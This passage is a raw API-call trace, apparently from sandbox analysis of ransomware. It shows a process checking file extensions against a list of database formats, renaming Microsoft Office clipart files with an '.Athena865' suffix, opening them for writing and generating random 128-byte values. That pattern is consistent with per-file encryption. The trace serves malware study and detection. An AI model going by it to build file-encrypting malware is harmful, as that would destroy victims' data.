lstrcmpiW (lpString1="97_.WMF", lpString2="sqlite3") returned -1 [0123.225] lstrlenW (lpString="sqlitedb") returned 8 [0123.225] lstrcmpiW (lpString1="397_.WMF", lpString2="sqlitedb") returned -1 [0123.225] lstrlenW (lpString="xml") returned 3 [0123.225] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0123.225] lstrlenW (lpString="$er") returned 3 [0123.225] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0123.225] lstrlenW (lpString="4dd") returned 3 [0123.225] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0123.225] lstrlenW (lpString="4dl") returned 3 [0123.225] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0123.225] lstrlenW (lpString="^^^") returned 3 [0123.225] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0123.225] lstrlenW (lpString="abs") returned 3 [0123.225] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0123.225] lstrlenW (lpString="abx") returned 3 [0123.225] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0123.225] lstrlenW (lpString="accdb") returned 5 [0123.225] lstrcmpiW (lpString1="_.WMF", lpString2="accdb") returned -1 [0123.225] lstrlenW (lpString="accdc") returned 5 [0123.225] lstrcmpiW (lpString1="_.WMF", lpString2="accdc") returned -1 [0123.225] lstrlenW (lpString="accde") returned 5 [0123.225] lstrcmpiW (lpString1="_.WMF", lpString2="accde") returned -1 [0123.225] lstrlenW (lpString="accdr") returned 5 [0123.225] lstrcmpiW (lpString1="_.WMF", lpString2="accdr") returned -1 [0123.225] lstrlenW (lpString="accdt") returned 5 [0123.225] lstrcmpiW (lpString1="_.WMF", lpString2="accdt") returned -1 [0123.226] lstrlenW (lpString="accdw") returned 5 [0123.226] lstrcmpiW (lpString1="_.WMF", lpString2="accdw") returned -1 [0123.226] lstrlenW (lpString="accft") returned 5 [0123.226] lstrcmpiW (lpString1="_.WMF", lpString2="accft") returned -1 [0123.226] lstrlenW (lpString="adb") returned 3 [0123.226] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0123.226] lstrlenW (lpString="adb") returned 3 [0123.226] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0123.226] lstrlenW (lpString="ade") returned 3 [0123.226] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0123.226] lstrlenW (lpString="adf") returned 3 [0123.226] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0123.226] lstrlenW (lpString="adn") returned 3 [0123.226] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0123.226] lstrlenW (lpString="adp") returned 3 [0123.226] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0123.226] lstrlenW (lpString="alf") returned 3 [0123.226] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0123.226] lstrlenW (lpString="ask") returned 3 [0123.226] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0123.226] lstrlenW (lpString="btr") returned 3 [0123.226] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0123.226] lstrlenW (lpString="cat") returned 3 [0123.226] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0123.226] lstrlenW (lpString="cdb") returned 3 [0123.226] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0123.226] lstrlenW (lpString="ckp") returned 3 [0123.226] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0123.227] lstrlenW (lpString="cma") returned 3 [0123.227] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0123.227] lstrlenW (lpString="cpd") returned 3 [0123.227] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0123.227] lstrlenW (lpString="dacpac") returned 6 [0123.227] lstrcmpiW (lpString1="7_.WMF", lpString2="dacpac") returned -1 [0123.227] lstrlenW (lpString="dad") returned 3 [0123.227] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0123.227] lstrlenW (lpString="dadiagrams") returned 10 [0123.227] lstrcmpiW (lpString1="00397_.WMF", lpString2="dadiagrams") returned -1 [0123.227] lstrlenW (lpString="daschema") returned 8 [0123.227] lstrcmpiW (lpString1="397_.WMF", lpString2="daschema") returned -1 [0123.227] lstrlenW (lpString="db-journal") returned 10 [0123.227] lstrcmpiW (lpString1="00397_.WMF", lpString2="db-journal") returned -1 [0123.227] lstrlenW (lpString="db-shm") returned 6 [0123.227] lstrcmpiW (lpString1="7_.WMF", lpString2="db-shm") returned -1 [0123.227] lstrlenW (lpString="db-wal") returned 6 [0123.227] lstrcmpiW (lpString1="7_.WMF", lpString2="db-wal") returned -1 [0123.227] lstrlenW (lpString="dbc") returned 3 [0123.227] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0123.227] lstrlenW (lpString="dbs") returned 3 [0123.227] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0123.227] lstrlenW (lpString="dbt") returned 3 [0123.227] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0123.227] lstrlenW (lpString="dbv") returned 3 [0123.227] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0123.227] lstrlenW (lpString="dbx") returned 3 [0123.227] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0123.227] lstrlenW (lpString="dcb") returned 3 [0123.228] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0123.228] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0123.228] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.Athena865") returned 73 [0123.228] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.229] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10816) returned 1 [0123.229] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.230] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.230] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.232] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.233] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.233] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.237] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00403_.WMF" | out: lpString1="FD00403_.WMF") returned="FD00403_.WMF" [0123.237] lstrlenW (lpString="FD00403_.WMF") returned 12 [0123.237] lstrlenW (lpString="Athena865") returned 9 [0123.237] lstrcmpiW (lpString1="0403_.WMF", lpString2="Athena865") returned -1 [0123.238] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.Athena865") returned 73 [0123.238] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.239] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7878) returned 1 [0123.239] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.239] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.240] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.245] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.245] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.245] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.246] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00414_.WMF" | out: lpString1="FD00414_.WMF") returned="FD00414_.WMF" [0123.246] lstrlenW (lpString="FD00414_.WMF") returned 12 [0123.246] lstrlenW (lpString="Athena865") returned 9 [0123.246] lstrcmpiW (lpString1="0414_.WMF", lpString2="Athena865") returned -1 [0123.246] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.Athena865") returned 73 [0123.246] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00414_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.248] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11002) returned 1 [0123.248] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.249] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.249] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.252] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.252] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.252] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.253] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00419_.WMF" | out: lpString1="FD00419_.WMF") returned="FD00419_.WMF" [0123.253] lstrlenW (lpString="FD00419_.WMF") returned 12 [0123.253] lstrlenW (lpString="Athena865") returned 9 [0123.253] lstrcmpiW (lpString1="0419_.WMF", lpString2="Athena865") returned -1 [0123.253] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.Athena865") returned 73 [0123.253] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.254] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16396) returned 1 [0123.254] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.255] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.255] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.258] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.259] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.259] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.259] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00428_.WMF" | out: lpString1="FD00428_.WMF") returned="FD00428_.WMF" [0123.259] lstrlenW (lpString="FD00428_.WMF") returned 12 [0123.259] lstrlenW (lpString="Athena865") returned 9 [0123.259] lstrcmpiW (lpString1="0428_.WMF", lpString2="Athena865") returned -1 [0123.259] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.Athena865") returned 73 [0123.259] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.261] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4796) returned 1 [0123.261] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.261] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.261] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.269] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.270] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.270] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.270] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00435_.WMF" | out: lpString1="FD00435_.WMF") returned="FD00435_.WMF" [0123.270] lstrlenW (lpString="FD00435_.WMF") returned 12 [0123.270] lstrlenW (lpString="Athena865") returned 9 [0123.270] lstrcmpiW (lpString1="0435_.WMF", lpString2="Athena865") returned -1 [0123.270] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.Athena865") returned 73 [0123.270] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.272] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2108) returned 1 [0123.272] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.273] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.273] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.275] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.275] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.275] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.276] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00438_.WMF" | out: lpString1="FD00438_.WMF") returned="FD00438_.WMF" [0123.276] lstrlenW (lpString="FD00438_.WMF") returned 12 [0123.276] lstrlenW (lpString="Athena865") returned 9 [0123.276] lstrcmpiW (lpString1="0438_.WMF", lpString2="Athena865") returned -1 [0123.276] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.Athena865") returned 73 [0123.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.277] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5098) returned 1 [0123.277] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.278] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.278] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.280] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.281] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.281] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.281] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00455_.WMF" | out: lpString1="FD00455_.WMF") returned="FD00455_.WMF" [0123.281] lstrlenW (lpString="FD00455_.WMF") returned 12 [0123.281] lstrlenW (lpString="Athena865") returned 9 [0123.281] lstrcmpiW (lpString1="0455_.WMF", lpString2="Athena865") returned -1 [0123.281] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.Athena865") returned 73 [0123.281] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.282] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8926) returned 1 [0123.282] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.283] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.283] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.286] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.287] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.287] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.287] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00459_.WMF" | out: lpString1="FD00459_.WMF") returned="FD00459_.WMF" [0123.288] lstrlenW (lpString="FD00459_.WMF") returned 12 [0123.288] lstrlenW (lpString="Athena865") returned 9 [0123.288] lstrcmpiW (lpString1="0459_.WMF", lpString2="Athena865") returned -1 [0123.288] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.Athena865") returned 73 [0123.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.289] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17406) returned 1 [0123.289] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.290] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.290] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.292] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.293] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.293] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.294] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00543_.WMF" | out: lpString1="FD00543_.WMF") returned="FD00543_.WMF" [0123.294] lstrlenW (lpString="FD00543_.WMF") returned 12 [0123.294] lstrlenW (lpString="Athena865") returned 9 [0123.294] lstrcmpiW (lpString1="0543_.WMF", lpString2="Athena865") returned -1 [0123.294] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.Athena865") returned 73 [0123.294] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.295] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1472) returned 1 [0123.295] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.296] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.296] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.298] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.298] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.298] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.299] lstrcpyW (in: lpString1=0x241e8ae, lpString2="FD00544_.WMF" | out: lpString1="FD00544_.WMF") returned="FD00544_.WMF" [0123.299] lstrlenW (lpString="FD00544_.WMF") returned 12 [0123.299] lstrlenW (lpString="Athena865") returned 9 [0123.299] lstrcmpiW (lpString1="0544_.WMF", lpString2="Athena865") returned -1 [0123.299] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft 